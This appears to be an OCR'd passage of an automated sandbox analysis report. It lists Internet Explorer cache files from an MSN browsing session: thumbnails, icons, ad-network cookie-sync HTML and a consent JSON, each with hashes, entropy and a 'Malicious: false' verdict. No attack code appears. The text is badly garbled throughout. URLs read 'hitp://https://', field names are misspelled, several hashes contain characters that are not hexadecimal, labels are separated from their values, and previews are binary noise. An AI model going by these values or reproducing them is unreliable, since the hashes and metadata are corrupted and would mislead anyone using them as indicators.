|IE Cache URL: hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBPoz.img?h=250&w=206&m=6&q=60&u=t&o=t&I=f&f=jpg&x=667&y=299

Preview:
...... JFIF..cociiie.Criiiien e 0)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000.. 11A..Qa."q.2...#B..R..$3br........ %&'()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
=x..N.*=...k.VR..5...V.fD.j.<.MH.x.4w........ 4.9.S*.+%uH.../O\....... qG+.dh....3.E<|
>.3.5....wv9.0y.3[S1............ 509..../q..#.#.n.....$..j?2v. Tz.+nT1Vn.....Zm@..\8.."..C.

tuvwxyz
~A.,.....Qr3R...Sc...K
;.ZT.V.P....[0..0V....... s2.f....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1dBVXBI[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 310x166, frames 3
Category: downloaded

Size (bytes): 7675

Entropy (8bit): 7.940311675121016

Encrypted: false

SSDEEP: 192:BFzrgp3D/ZCmYXLNuh4Zy+E5j/Le+CeCtUbuCh1Cz5:vzaZCmYwh4A+E5j/Le+CeCtOuCKI
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1dBVXBI[1].jpg

MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

FDF60940E35431A4D3FE65B913DDD08C

6C954B103CCOBF998BE7F194712248FAF5BB2229

2A711CC90560F7610278530D04F9458CF8879EFDD704B5639626E73BFO9EAADC
870C06F88B51B7C7AD24BDA0OBFDI67C569670CE7FI36C6DE71F788A96F669034AB4908B67835837B7F881DE7BBC24478C97061C7D0OBE5650B42661F0DC2164A!
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBVXB.img?h=166&w=310&m=6&q=60&u=t&o=t&|=f&f=jpg&x=233&y=462

...... JFIF..cpeeeCriiie e 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
J1A.Qa"q.2... #B...R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
tuvwxyz. .z F.Af"[$.HZ.M75I.....74. K.)sM..H.\.h.IsK.m-...RR..9Fj.+ WAW "EKcH.I.....[......... w..].u....fN..)
BYe D.Q...b3TAV6.K....0.T!j..35@..B.....5,,.%9M2.. h...(....Z.....bN..McEH.U.F.i....L&.ia.. X.R.{.V..0@Oz....... 6V..j..uP....... h.3Je{..%Gb...N9..T..v..jJ...VP...aVDIN{...
. 2.4d.LYBMM..GIN.._...].....R{}...)H..OB A .LQA<.IL.ii)i.S

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1dBVsN[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 300x250, frames 3
downloaded

16777

7.9560205399812425

false

384:ZH5e0ADLE3iekjzplQ9J1prCr8eT3rujw0009gX:ZH50ETkjzpyUr8A7ujwfOmX

2AD28A707C642B10C9D7AD8423D39A35

60D82480DFC31414003B483D06B64CD6CB170E13
C76315E6EDCO1FE4EA9B5D458A31B3760EE58C57C7C5799B50A350E57F28A35D
AC5ACB7110B83C0509CCC473FAC5A21E6050AB039F7F846E7EC17BBBFIF602EF434E9BB1087778341969671B02C5D2C127AC3DB3056FDE766A2EA075E62917¢
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBVsN.img?h=250&w=300&m=6&0q=60&u=t&o=t&I=f&f=jpg&x=906 &y=1056

..2r..@..0n.BhN.;#m.6..pG0.J..M....&dh..1../08
541,84V ~.2G>...n{.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1dBcjj[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

13778

7.954224473334762

false

384:eJVrxgH6rhFIDS2m8PEMGDO01rFDGiRooaM+E:eHreajJmF8sLDqGiioa0

FEB6F32E3FAF992D6AF55EF6D6946578

73E3F8165E5DEB6536AB18BBASAEI4582AD25A4E
43925COEC1B262CFC148D4D3765BC022582B98A938C0085D56FF1713F6973AFE
F7640A0BA6208B9812E5985222D4A6C8FAOFCBIFE6568592921D8951106CA592030668D41581EC6AA414FF88F51D09C6C85DBFEEE2D01B41E8FF63119F2910CA
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBcjj.img?h=333&w=311&m=6&q=60&u=t&o=t&I=f&f=jpg

11A..Qa."g.2...#B...R..$3br........ %8&'()*456789:CDEFGHIJSTUVWXYZcdefgh

....... w......11..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz.... ettt ettt ettt neenn ?..4.*B)..,..a#S.0#"5)...0j2*SL"....7..~5.._.S..$S.....fu.....).......b..b..b..P.Q.\Q..%%:...R.@.F) @$.
U5.X[.\....3.....i..-S... .8.H....$...0. =...6C...3D..8..1%.,C...X.f...(nNOT.\fE...A....J[E:.PP.2\Q@.E-....a..1.5."4.R.L4......@..R.Q.C"aT/..Z-Y..y>.[......
P)gY.a.1K.(.....&)1IN....E.6\Q@.E.)....L.."....*x.B..8 U]....,

ijstuvwxyz

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1dBdnP[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 311x333, frames 3
downloaded

20406

7.946310646862887

false

384:e5L0IfOFgfoBzwChcvApLZFHtsopY/IXzdW2121Lphm+am:edyOF9BFbcQLN/u/ljdW2121Lph3P
1FDE35DE3733B1A2A4D6902D21717182

56EA2605B42FD73C5B49547723D65127AC50C590
73D45EC2C2F6A24C868DECB6BEDD496D3D13E04237D61328EC757B6F40F7220D
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB1dBdnP[1].jpg

SHA-512:

Malicious:
|IE Cache URL:

Preview:

3AD18BDOD69BB2B45F21EC6AF8907DDC838D9CC028B8195269889B7D1DCA39F2FOE18C2D26C8F506611EAE786CB8482F282A8620221E2A3BFB210AE9DIBSEG
2

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dBdnP.img?h=333&w=311&m=6&0q=60&u=t&o=t&|=f&f=jpg

...... JFIF ooy Cooioerrceeees v )10.)-,3:3>36F 7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000...... . 11A..Qa."q.2... #B...R..$3br....... %&'()*456789:CDEFGHIJSTUVWXYZcdefgh
ijstuvwxyz.... . 11..AQ.aq."2...B.... #3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXY
Zcdefghijstuvwxyz. Y...... }ET5r&"QKEIBQKE..(...X...).R.(...%%...(.E.P.E.P.E.P.E.P.E.P.E.P.EP.E.

P.EP.EPEPEP..[jdz D) bR o Ee 3MH..... {S.PA..4......... 2< AP.E.E.SL.Q...c.. A& XFS...EN.CAL.O.V... .M.7.G.M.[..;1\.y.A>..O..
- K....©%.Q@.-.S.{c..2a..-..QKp>P}...... T.bQK.(.E.R.c.(conen .

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\BB1dzReS[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 622x368, frames 3
downloaded

30084

7.955889426852974

false

768:77vgc+spXOFfVIg5EYpXX9rhliit4 COHSOLY9U: 7J0FfVYYpHIrhAt4COHS/C

D9684BA6D368537ACA9B8DB1962BCB52

4F81044B90981D24EE92DD60139FA44BF234525F
1D22F57891AA9CE37135E0DB745C16A2590D25A8ADE7FC5BOE3DEE4E7TEAAA92A
910FB7901661F29C24B19DDC54B99D124B5F6F118A155343259A98D837BA6510FA70A2B86867D49D457730932AF21E6E7FBEES2F4C514CE7FFBOA3BE465CC8E(

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dzReS.img?h=368&w=622&m=6&q=60&u=t&o=t&|=f&f=jpg

tUvVWXyZ....
LW.Q.I1.3..j..72.Xt..M.i..CY.oV.al.a.65...g-..z.5-*.
$T.ZD/t.]......".o.H.\..-". ... 5. ]LW<.;.0.$-

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BB5kTiV[1].png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

289

6.71059176367892

false
6:6v/IhPkR/CnFCPPAVI1E0IXO6Vq9eu7H1CnstfOPLAYVwmavnTp:6v/78/kFCPPWGKV(q77HksN2xSmavn9
10ADF331F5D133B42D542F39E2A1390E

DOEEAODEE8B46CB250E303BC1AA6CO1EDFEF590C
AD4808FAC10A5F71AAC3B93BBB0D29D575CEFF5609CEC3886C079F542F455D33
7D93C192B7B055BC8CDB079A1D4F935A25A114986A592977A869EBOES941FC4E271263EF275325B5193E7D460810AD575CF1846141128BAB7D5425EA24E170C8
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB5kTiV.img?h=16&w=16&m=6&0=60&u=t&o=t&|=f&f=png

PNG......IHDR....c........... a...SRGB......... gAMA.....a....pHYs.......... (3....IDAT80..IN.".."..O[.t.U.XX..;".H\.S.A."Ui.. {& W@B.&0.G..p.W. 1....E.....s.\_X.>C-.7&..".m..P<
*HC....8C....9.....sP.u.(.36]_]...D.G."zT.alz" ......*e..._X.>9.C..Q....B....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BBUE92F[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

708

7.5635226749074205

false

12:6v/78/gMGkt+fwrs8vYfbooyBfle7XKH5bp6z0w6 TDy9xBOIIDtgf/lbU9Fgjlyfd:XGVw90iNH5pbPDy9xmju/AXEyfY FW
770E05618413895818A5CE7582D88CBA

EF83CE65E53166056B644FFC13AF981B64C71617
EEC4AB26140F5AEA299E1D5D5F0181DDC6B4AC2B2B54A7EE9E7BAGEOA4B4667D
B01D7D84339D5E1B3958E82F7679AFD784CE1323938ECA7C313826A72F0E4EE92BD98691F30B735A6544543107B5F5944308764B45DB8DEO6BE699CAS1FF7653
false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBUE92F.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BBUE92F[1].png

Preview:

=M...rR.Ad..gh...iX@co..12...."9}...E.O.i?..j5.|$.m..-5....Z.bl...E MX[M.....s...e..7..u<L.k.@c.
o] b= f@BT ot X FWL3.@ > L.bF.V..?u.b&gq....... IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\BBZbaoj[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

downloaded

345

6.7032489389065

false
6:6v/IhPKkR/W/6TMm3IOPxUxYa5a00jWFWwoaSSHNVrMTL9opgn+vp:6v/78/W/6 TMm30xNaEoo6 TSWNVKoKO
78BE86D65B6DC7DBOD71CD379A9BC492

1B01C9DB16886EAOE092FBIA35A5F630D2B02806
62269816D79DAD6CEE726F4F326A68C12A8C885A6F7660822A2614F8030C0641

EDB389EB371EDCE77FF18B1AAA4CEBG605FE445AAFFBAF4BEL16116F62EF143DA68A58B61B80F3CDAAEG3B7168COE7DAOGSE4EE9351C2CC7A1373461D0664EC
D71

false

hitp://https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBZbaoj.img?h=16&w=16&m=6&q=60&u=t&o=t&I=f&f=png

IDAT8Oc|."
DFn>.N..0f..g...".e..9.% .-~.a.kR.....U...

X0 A= = <T & P2 d 0. _?1[ ALK (.@.CW...
_tnd"..:lf...(...IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\a5ea21[1].ico

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced

downloaded

758

7.432323547387593

false

12:6v/792/6 TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43gX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v
84CC977D0OEB148166481B01D8418E375

00E2461BCD67D7BA511DB230415000AEFBD30D2D
BBF8DA37D92138CCO8FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C
F47A507077F9173FB07EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004C9D2FESE1965445CAB509C3
false

hitp://https://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico

.PNG

...CB

IA,>\.Q|.N.P........ <l..ip..y.U..J..9..R.mgpjwn.f4$ X.E.1.T..2.....wz..U..../[...Z..(DB.B(....-....... B.=m.3....X..p..Y.....w.<........8...3.;.0....(..I1...A..6f.g. xF..7h.Gmq
|...0z_Z..X.0F.......... X..=Y},jT..R.....72w/...Bh..5..C...2.06 ........ 8@A..."zZTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B".

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20808

5.301544177099164

false
384:RKAGcVXIblcgnzleZSug2f5vzBgF30ZORQWwWY4RXrqt:g86ghbz2RmF30sRQWwY4RXrqt
00593785BE18A01F5D591B270BE7794E
B2D6DFE036CAAOCCFF1DC25CDFD8C1488D086BES
5B9547D49C57F24E7FC08CB73A03E3F9EDDDC573610D2B3894B85781DD81703E
210E3849EE1113DFD7F949AC3FDFA3E77E3651716D06496DBC288EF67C7540F326668DAC8D6EESCBES6147E830BB24533899C5E0276COF8EEA008DE9211F743

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup™":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
V" "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSite Support":"

0","batch™:{"gGroups":["apx","csm","|

ppt","rben”,"son","bdt","con”,"opx", "tIx", "mma’

'elx”"ys", "sov","fb","r1","g","pb","dxu", "rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe
ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\Vcslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\2WF3MMUU\checksync[2].htm

Process:

File Type:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\checksync[2].htm

Category: dropped

Size (bytes): 20808

Entropy (8bit): 5.301544177099164

Encrypted: false

SSDEEP: 384:RKAGcVXIblcgnzleZSug2f5vzBgF30ZORQWwY4RXrqt:g86ghbz2RmF30sRQWwY4RXrqt
MDS5: 00593785BE18A01F5D591B270BE7794E

SHAL: B2D6DFE036CAAOCCFF1DC25CDFD8C1488D086BES

SHA-256: 5B9547D49C57F24E7FC08CB73A03E3F9EDDDC573610D2B3894B85781DD81703E
SHA-512: 210E3849EE1113DFD7F949AC3FDFA3E77E3651716D06496DBC288EF67C7540F326668DAC8D6EESCBES6147E830BB24533899C5E0276COF8EEA008DE9211F743
Malicious: false

Preview:

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup™":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
V" "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name’ "cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:VV/cslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\de-ch[1].json

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 76785

Entropy (8bit): 5.343242780960818

Encrypted: false

SSDEEP: 768:0lAy9Xsiltnuy5zIux1whjCU7kIB1C54AYtiQzNEJEWICFPQtihPxVUYUEJOYAtF:olLEJxa4CmdiuwWloltilwYm7B

MDS5: DBACAF93F0795EB6276D58CC311C1E8F

SHA1L: 4667F15EAB575E663D1E70COD14FE2163A84981D

SHA-256: 51D30486C1FE33A38A654C31EDB529A36338FBDFA53D9F238DCCB24FF42F75AF

SHA-512: CFC1986EF5C82A9EA3DCD22460351DA10CF17BA6CDC1EE8014AAABE2A255C66BB840BOASCCI1EOEB42E6FESO0ECOE2514A679EA960C827D7C8CIF891E55908
87

Malicious: false

|IE Cache URL: hitp://https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/6f0cca92-2dda-4588-a757-
0e009f333603/de-ch.json

Preview:
{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","cctld":"55a804ab-e5
c6-4b97-9319-86263d365d28","MainText":"lhre Privatsph.re","MainInfoText":"Wir verarbeiten lhre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die
Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf der Grundlage einer Einwilligung und
eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen lhr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf
der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die
am Transparency and Consent Framework teilnehmen, signalisiert.”,"AboutText":"Weitere Informationen”,"AboutCookiesText":"Ihre Privatsph.re","ConfirmText":"Alle zulas
sen”,"AllowAll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\http___cdn.taboola.com_libtrc_static_thumbnails_27937¢c3776dc5a
c06745246ca617e1e0[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: downloaded

Size (bytes): 28475

Entropy (8bit): 7.983045137801868

Encrypted: false

SSDEEP: 768:DxIAgUJILCgbnRNVw45tG5it/bCalS2d7VrrhEgKQHB;iY:DxIXGLCgbnRn5tzgaldJhEjQB

MDS5: 57DDCO07B072E9FCOE1737D60EF3ACCS5B

SHA1L: 73051EF60F3B3ABA4E40EA9E3A30195E2350579C

SHA-256: AEBD9495CEF739B5E90B39F80CC66FE1D8A6920C9D0OF137AC8148B78C456C089

SHA-512: 156132399C0349D35CE224616C57B296539F2F8414A3D1D96F66BAE7BB7DAA5288CE64BE430495CDF4DB7BF7056B2DB42E1C486A5E9982126AFB735777EBE84!
Malicious: false

|IE Cache URL: hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2F27937c3776dc5ac06745246ca617ele0.jpeg

Preview:

...... JFIF e & &0-033T o)) 8,818, 8A3--3AK2<2K[QQIHN o 7 T
< blliblKlal VQLLIEYT XQ T LhKB. .. JL ] s (e b3 A+ L SUIKML\.L..C #.>...]ekHD.2l.Y .0.=..4|..v.Vz.]....A*1.0'.b.;..V..$.h." x...'"F..PL._.H....s)Va.7\.B.0
1S.7.\b.6>t9.n. V.o ..=l.D...x.m\.....4..Q..G....b.v.BJ.#£0V..8........ 0Q..k.[..Y9..K,;..f.v....0YD..Xl0.v..J1..Sk.Wf.L$.7..;....BY...Rw...S_.h.... Th..L.hM.d.[.I}C..UY
.d..e....7e..z..u"q..30.U....].QW .SNOXM.) ... j~] 7S &ee =B B o DLLIOZ <] AG1..@.54FRIr.(K.Z.1U.p.l...%6.._f...$...0.mZ.....3.{3X.....F..
M..Jnc.N...T..3.F.N....88.S.....L... }Z..p.v{.R....(.3..:a=rCp.0Orw..ai....:3ib.uj.~..........C.D.Vh..Qo0.i.RRL.8@)&.....X.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\http___cdn.taboola.com_libtrc_static_thumbnails_elcb3d470d2ea8
d4eeaa2ba5fe623782[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\http___cdn.taboola.com_libtrc_static_thumbnails_elcb3d470d2ea8
d4eeaa2ba5fe623782[1].jpg

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

downloaded

21709

7.975088991833091

false

384:ItGZHurRtIRr TOOKPYiFIJOEYjm6Jd6nWGH7CJIvGP5Dzc/x8nKO:ItpRtuyOKPYgagYV2CJ6DYJs
ODEB4D7596372D285BEBBOALE6B6A21F

EDF7988AD1BCDEA61CE9C34EBD0O970EFO6A0A8F6
32FA55A0171E0328B9DCB990889245B9507DB6AAEE4F871DB051FE9825D7A84B

D448CC38C0A32FDB6428778E964FAA330975F99271E5BF5C88FFE3541F8890EAE14ADBEFE20EA2A476EOF3B36A2E4D2E2AGDOF6B84A97DCE7EGDAO35C3A575
6B

false

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic
%2Fthumbnails%2Felch3d470d2ea8d4eeaa2ba5fe623782.png

&"'&0-0>>T. .
.Rly JIvo..Ny.Z.QvZT.6..&.2I...$.%.1.CMT.F. .$. < %.R_C..{...ESU..V}H...m.=...gi.F....]V+.I$.cu..49l.[.<.+.6.Gj.qe
M.).$..Z*..Ah..(.d.&5im&.."..*..of #.A..|.OS...h{...... 7.0S_Y.W... ..Q..18...qB2..B~...Z....c..F.De...s....V..n.HA.W." K..C..41. #....w..0..5.3r...l/Z.&z.u.ZI..0..1.R....
CT{D.....k..g..nd>\.....y.D..=...0y..... 5 ,P,.Oj.m....@CcP<m. ..a.7..| ..5..5...0.}T.G.e|.W..u.%&...r.09}....4&..1} T.v.7.q1...Sinh....Y ........... ~q...h/. 108w #..59
k&AL ... 5.Wm.7s..*x.Q..Nn.....G.F./E...-..d..C...;..KQ._...m.YZ,j...IR5....... ~...X0.,,?2Q...d+v..........) "....-.3*D..m..Z.q

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\l[E\2WF3MMUU\medianet[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

downloaded

384562

5.484542203934184

false
6144:4099Tw5qlZvbzHOM9ZnGQVvgz5RCulbpa3Cv7IW:vIZvwPnGQVvgnxVw3E7IW
BEF507099A5BE6248176F9D5E688AD81
DOA7A0662DABC57EBD3EEFB675C51833FE84E9D3
EED9E54CA824A985205B5A9A1C4AAADS87E7D7F33274616CBF50318B861B108B
69DDFOC6B9898E2FC699C935AD8A86FES75A10EA110217B8AEDEG26260D0631D63E421BBAD82C27BC64C8810382365D016AC8812447C1B621D6935386121ED8
false

hitp://https://contextual. media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1

<html>.<head></head>.<body style="margin: Opx; padding: Opx; background-color: transparent;">.<script language="javascript" type="text/javascript"
>window.mnjs=window.mnjs||{},window.mnjs.ERP=window.mnjs.ERP||function(){"use strict";for(var a="",1="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[]
,e=0;e<3;e++)g[e]=[];function m(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(s=0;s<3;s++)
e+=g[s].length;if(0!==e){for(var n,o=new Image,t=f.lurl||"https://lg3-a.akamaihd.net/nerrping.php",r="",i=0,s=2;0<=s;s--){for(e=g[s].length,0;0<e; ){if(n=1===s?g[s][0]:{lo
glLevel:g[s][0].logLevel,errorVal:{name:g[s][0].errorVal.name,type:a,svr:l,servname:c,message:g[s][0].errorVal.message,line:g[s][0].errorVal.lineNumber,description:g[s][0]
.errorVal.description,stack:g[s][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON||"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)
).length+r.length<=1

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\2WF3MMUU\otPcCenter[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

|IE Cache URL:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

downloaded

46394

5.58113620851811

false
